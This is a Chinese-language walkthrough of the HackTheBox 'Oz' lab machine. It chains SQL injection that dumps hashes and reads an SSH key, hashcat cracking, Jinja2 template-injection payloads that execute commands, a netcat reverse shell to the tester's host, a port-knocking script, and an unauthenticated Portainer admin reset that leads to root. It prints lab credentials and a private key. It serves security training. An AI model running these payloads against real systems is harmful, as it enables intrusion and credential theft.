hackthebox Oz靶机渗透

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所属分类:安全资讯
摘要

本文为对靶机hackthebox oz的渗透测试记录。

hackthebox Oz靶机渗透

 

信息收集:

nmap -A -v -sC 10.10.10.96

我们可以看到80、8080有一个werkzeug,查了一下是一个WSGI的工具包。好像还有个命令执行的漏洞,我们可以针对这个找脚本试一下

PORT     STATE SERVICE VERSION
80/tcp   open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-favicon: Unknown favicon MD5: C23EFC24FDC958FFC6B85B83206EBB30
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET POST
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-favicon: Unknown favicon MD5: B33CD9DDE6B54C301944D6BDECB40C5A
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about

找到一个werkzeug-debug RCE的脚本尝试了一下,发现并没有什么用

# Rogerd @ kali in ~/tools [22:42:41] 
$ git clone https://github.com/its-arun/Werkzeug-Debug-RCE.git 
正克隆到 'Werkzeug-Debug-RCE'...
remote: Enumerating objects: 9, done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 9
展开对象中: 100% (9/9), 完成.
# Rogerd @ kali in ~/tools [22:51:07] 
$ cd Werkzeug-Debug-RCE/
# Rogerd @ kali in ~/tools/Werkzeug-Debug-RCE on git:master o [22:53:07] 
$ python werkzeug.py http://10.10.10.96:8080 whoami

线索1:我们访问80页面,提示我们请注册一个用户,然后标题是一个Oz webapi。

hackthebox Oz靶机渗透

尝试爆破一下目录,我截取了部分,可以看到基本返回的都是27B的页面。没什么有用的信息

hackthebox Oz靶机渗透

目录爆破没用换一个WFUZZ工具,尝试爆破一波。

具体使用方法参考:https://blog.csdn.net/hardhard123/article/details/79596104

git clone https://github.com/xmendez/wfuzz.git
$ ./wfuzz -w wordlist/general/common.txt --hl=0  http://10.10.10.96/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/FUZZ
Total requests: 950

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000871:  C=200      3 L           6 W         79 Ch      "users"

Total time: 53.03089
Processed Requests: 950
Filtered Requests: 949
Requests/sec.: 17.91408

 

SQL接口注入

我们访问一下http://10.10.10.96/users/1 ,返回null。

这里很可能是一个参数我们输入admin,返回了一串json

{“username”:”admin”}

既然有输入点又返回,那就有可能有注入点。

访问:http://10.10.10.96/users/admin’%20or%20’1’=’1

返回:{“username”:”dorthi”}

使用sqlmap注入,直接dump里面的内容

sqlmap -u http://10.10.10.96/users/admin —dump

Database: ozdb                                                                                    
Table: tickets_gbw
[12 entries]
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| id | name     | desc                                                                                                                           |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| 1  | GBR-987  | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi.                                                              |
| 2  | GBR-1204 | Where did all these damn monkey's come from!?  I need to call pest control.                                                    |
| 3  | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent.                                                  |
| 4  | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8=                                                                            |
| 5  | GBR-4034 | Think of a better secret knock for the front door.  Doesn't seem that secure, a Lion got in today.                             |
| 6  | GBR-5012 | I bet you won't read the next entry.                                                                                           |
| 7  | GBR-7890 | HAHA! Made you look.                                                                                                           |
| 8  | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db.                                    |
| 9  | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt                                                              |
| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt                                                              |
| 12 | GBR-9872 | db information loaded to ticket application for shared db access                                                               |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
Database: ozdb
Table: users_gbw
[6 entries]
+----+-------------+----------------------------------------------------------------------------------------+
| id | username    | password                                                                               |
+----+-------------+----------------------------------------------------------------------------------------+
| 1  | dorthi      | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
| 2  | tin.man     | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
| 3  | wizard.oz   | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
| 4  | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
| 5  | toto        | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
| 6  | admin       | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
+----+-------------+----------------------------------------------------------------------------------------+

V2hhdCBkaWQgeW91IGV4cGVjdD8=

解密:What did you expect?

WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4=

解密:You’re just trying too hard… nobody hides anything in base64 anymore… c’mon.

都是没啥用的线索,只知道他说了,现在没有人会用base64加密了。

hackthebox Oz靶机渗透

我们可以看到第8条,默认文件下可以找到密钥。

直接注入读默认文件路径/home/dorthi/.ssh/id_rsa

http://10.10.10.96/users/111’%20union%20select%20all%20LOAD_FILE(0x2f686f6d652f646f727468692f2e7373682f69645f727361)–%20ss

{"username":"-----BEGIN RSA PRIVATE KEY-----nProc-Type: 4,ENCRYPTEDnDEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6nnRV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFCnb6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3Fne1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBtynh9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbzna//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybdn9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6nZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcjnevroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2MnEycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yavn5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQrnDHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJptonbYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+nwtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1Vn0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IHnznNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mftnicOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMCnzCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnunvI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKwnw/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3nc6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0nnOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5nuoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzbn/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYvnQGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJunXtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3n-----END RSA PRIVATE KEY-----n"}

尝试用ssh登陆。发现无法登陆,没有ssh服务。

尝试破解一下hash,先用hashid查看一下类型

$ hashid '$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78' 
Analyzing '$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78'
[+] PBKDF2-SHA256(Generic)

 

hashcat爆破

使用hashcat 查看

先把hash修改,加入hashoz文件

sha256:5000:aA3h3LvXOseYk3IupVQKgQ:ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78
sha256:5000:GgNACCFkDOE8B4AwZgzBuA:IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
sha256:5000:bU2JsVYqpbT2PqcUQmjN.Q:hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
sha256:5000:Zax17l1Lac25V6oVwnjPWQ:oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
sha256:5000:d47xHsP4P6eUUgoh5BzjfA:jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ

hashcat -m 10900 /home/Rogerd/tools/hashoz /home/Rogerd/tools/rockyou.txt

最后跑出账号密码wizardofoz22/wizard.oz

https://hashcat.net/wiki/doku.php?id=example_hashes

当我们有账号以后,我们尝试登陆一下8080的页面

hackthebox Oz靶机渗透

wizard.oz/wizardofoz22登陆成功

谷歌payload all ssti

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections

 

SSTI模板注入

然后在ticket-create,添加的时候抓包,发现一个SSTI注入

hackthebox Oz靶机渗透

可以直接读取到passwd

name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

直接读取配置文件

name={{config}}
<Config {JSON_AS_ASCII: True
 USE_X_SENDFILE: False
 SQLALCHEMY_DATABASE_URI: mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb
 SESSION_COOKIE_SECURE: False
 SQLALCHEMY_TRACK_MODIFICATIONS: None
 SQLALCHEMY_POOL_SIZE: None
 SQLALCHEMY_POOL_TIMEOUT: None
 SESSION_COOKIE_PATH: None
 SQLALCHEMY_RECORD_QUERIES: None
 SESSION_COOKIE_DOMAIN: None
 SESSION_COOKIE_NAME: session
 SQLALCHEMY_BINDS: None
 SQLALCHEMY_POOL_RECYCLE: None
 MAX_COOKIE_SIZE: 4093
 SESSION_COOKIE_SAMESITE: None
 PROPAGATE_EXCEPTIONS: None
 ENV: production
 DEBUG: False
 SQLALCHEMY_COMMIT_ON_TEARDOWN: False
 SECRET_KEY: None
 EXPLAIN_TEMPLATE_LOADING: False
 SQLALCHEMY_NATIVE_UNICODE: None
 MAX_CONTENT_LENGTH: None
 SQLALCHEMY_ECHO: False
 APPLICATION_ROOT: /
 SERVER_NAME: None
 PREFERRED_URL_SCHEME: http
 JSONIFY_PRETTYPRINT_REGULAR: False
 TESTING: False
 PERMANENT_SESSION_LIFETIME: datetime.timedelta(31)
 TEMPLATES_AUTO_RELOAD: None
 TRAP_BAD_REQUEST_ERRORS: None
 JSON_SORT_KEYS: True
 JSONIFY_MIMETYPE: application/json
 SQLALCHEMY_MAX_OVERFLOW: None
 SESSION_COOKIE_HTTPONLY: True
 SEND_FILE_MAX_AGE_DEFAULT: datetime.timedelta(0
 43200)
 PRESERVE_CONTEXT_ON_EXCEPTION: None
 SESSION_REFRESH_EACH_REQUEST: True
 TRAP_HTTP_EXCEPTIONS: False}>

我们先通过写入配置,然后调用RUNCMD执行命令

分别按顺序执行下面3条命令

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_outputnnRUNCMD = check_outputn') }} # 写如配置文件
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # 加载配置文件
{{ config['RUNCMD']('whoami',shell=True) }} # 执行命令

hackthebox Oz靶机渗透

使用kali nc -nlvp 4444接收shell

再通过burp弹shell

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('nc 10.10.14.2 4444 -e /bin/sh').read()}}

hackthebox Oz靶机渗透

我们还可以用tplmap,来执行ssti命令

git clone https://github.com/epinna/tplmap.git
python tplmap.py -u ‘http://10.10.10.96:8080‘ -X POST -d ‘name=*&desc=anything’ -c ‘token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTU0NzY1MzA2MX0.YEkK6t08h6aU-e2qH5sCa0OuQ09p4ScenD7_ZgkBTGY’ —reverse-shell 10.10.15.75 4444

hackthebox Oz靶机渗透

查看containers/database/start.sh文件

cat start.sh

/containers/database # cat start.sh
#!/bin/bash

docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb 
--net prodnet --ip 10.100.10.4 
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss 
-e MYSQL_USER=dorthi 
-e MYSQL_PASSWORD=N0Pl4c3L1keH0me 
-e MYSQL_DATABASE=ozdb 
-v /connect/sshkeys:/home/dorthi/.ssh/:ro 
-v /dev/null:/root/.bash_history:ro 
-v /dev/null:/root/.ash_history:ro 
-v /dev/null:/root/.sh_history:ro 
--restart=always 
mariadb:5.5

在根目录ls -al看到一个文件.secret

我们打开进去看/.secret/knockd.conf

knockd 主要的目的是希望可以动态的修改防火墙规则,如果在15秒内按顺序联系udp端口40809,50212和46969,则在接下来的10秒内,防火墙将在端口22上打开。

/.secret # cat knockd.conf
[options]
    logfile = /var/log/knockd.log

[opencloseSSH]

    sequence    = 40809:udp,50212:udp,46969:udp
    seq_timeout    = 15
    start_command    = ufw allow from %IP% to any port 22
    cmd_timeout    = 10
    stop_command    = ufw delete allow from %IP% to any port 22
    tcpflags    = syn

写一个bash脚本,在15秒内按顺序执行。然后ssh端口打开后,直接用密钥链接。

然后直接输入密码N0Pl4c3L1keH0me 登陆成功

#!/bin/bash

ports="40809 50212 46969"

for port in $ports; do 

    echo "[*] Knocking on ${port}"
    echo "a" | nc -u -w 1 10.10.10.96 ${port}
    sleep 0.1
done; 

echo "[*] Knocking done."
echo "[*] Password:"
echo "N0Pl4c3L1keH0me"

ssh -i ~/id_rsa dorthi@10.10.10.96

 

docker

这时候查看一下根目录,发现user.txt

然后看一下sudo -l 显示出自己(执行 sudo 的使用者)的权限

hackthebox Oz靶机渗透

我们可以运行两条docker命令

/usr/bin/docker network inspect *

/usr/bin/docker network ls

查看docker网络

sudo /usr/bin/docker network ls

我们可以看到两个桥接网络 bridge

网桥网络是一种可用于将某些docker主机与其他docker主机隔离的网络。从docker文档:

就Docker而言,桥接网络使用软件桥接器,该软件桥接器允许连接到同一桥接网络的容器进行通信,同时提供与未连接到该桥接网络的容器的隔离。Docker桥驱动程序会自动在主机中安装规则,以便不同网桥上的容器无法直接相互通信。

NETWORK ID          NAME                DRIVER              SCOPE
2572cd5f4853        bridge              bridge              local
49c1b0c16723        host                host                local
3ccc2aa17acf        none                null                local
48148eb6a512        prodnet             bridge              local

查看桥接的网络

sudo /usr/bin/docker network inspect bridge

172.17.0.2为Portainer实例,用于管理docker的UI

Portainer:https://github.com/portainer/portainer

dorthi@Oz:~$ sudo /usr/bin/docker network inspect bridge
[
    {
        "Name": "bridge",
        "Id": "2572cd5f48539146fdbdffb021b995b4b2f62495be9c666efeb73eb88d2ef237",
        "Created": "2019-01-16T16:40:46.870486827-06:00",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "172.17.0.0/16",
                    "Gateway": "172.17.0.1"
                }
            ]
        },
        "Internal": false,
        "Attachable": false,
        "Containers": {
            "e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
                "Name": "portainer-1.11.1",
                "EndpointID": "fd4a166294c888d423f971bfa3e58e6bb15adcfa5542f524c15543abd0de3d36",
                "MacAddress": "02:42:ac:11:00:02",
                "IPv4Address": "172.17.0.2/16",
                "IPv6Address": ""
            }
        },
        "Options": {
            "com.docker.network.bridge.default_bridge": "true",
            "com.docker.network.bridge.enable_icc": "true",
            "com.docker.network.bridge.enable_ip_masquerade": "true",
            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
            "com.docker.network.bridge.name": "docker0",
            "com.docker.network.driver.mtu": "1500"
        },
        "Labels": {}
    }
]

通过查看Portainer文档,默认端口是9000

我们使用curl访问一下看,发现是存在的。

dorthi@Oz:~$ curl http://172.17.0.2:9000/
<!DOCTYPE html>
<html lang="en" ng-app="portainer">
<head>
  <meta charset="utf-8">
  <title>Portainer</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="description" content="">
  <meta name="author" content="Portainer.io">

  <link rel="stylesheet" href="css/app.4eebaa14.css">

由于kali无法直接访问172.17.0.2:9000

所以我们在靶机上执行反向代理操作。

然后就可以在kali实现访问172.17.0.2了

ssh -C -f -N -g -R 10.10.10.96:1234:172.17.0.2:9000 Rogerd@10.10.15.75 -p 22

hackthebox Oz靶机渗透

portainer API存在一个未授权访问的漏洞

我们看到上图是一个登陆界面,查找一下portainer api里面其中有一条初始化管理员账号密码的API

http POST :9000/api/users/admin/init Username="admin" Password="admin"

我们尝试执行这个API

dorthi@Oz:~$ http POST 172.17.0.2:9000/api/users/admin/init Username="admin" Password="admin"
HTTP/1.1 200 OK
Content-Length: 0
Content-Type: text/plain; charset=utf-8
Date: Thu, 17 Jan 2019 08:33:17 GMT

重置成功,使用admin/admin登陆

我们点击containers->add containers

然后填写相关的配置

hackthebox Oz靶机渗透

hackthebox Oz靶机渗透

点开test,找到console,选择/bin/sh,执行一下命令,拿到root.txt

hackthebox Oz靶机渗透

 

参考

https://forum.hackthebox.eu/discussion/1042/oz

本文来源于360安全客,原文地址:https://www.anquanke.com/post/id/170362

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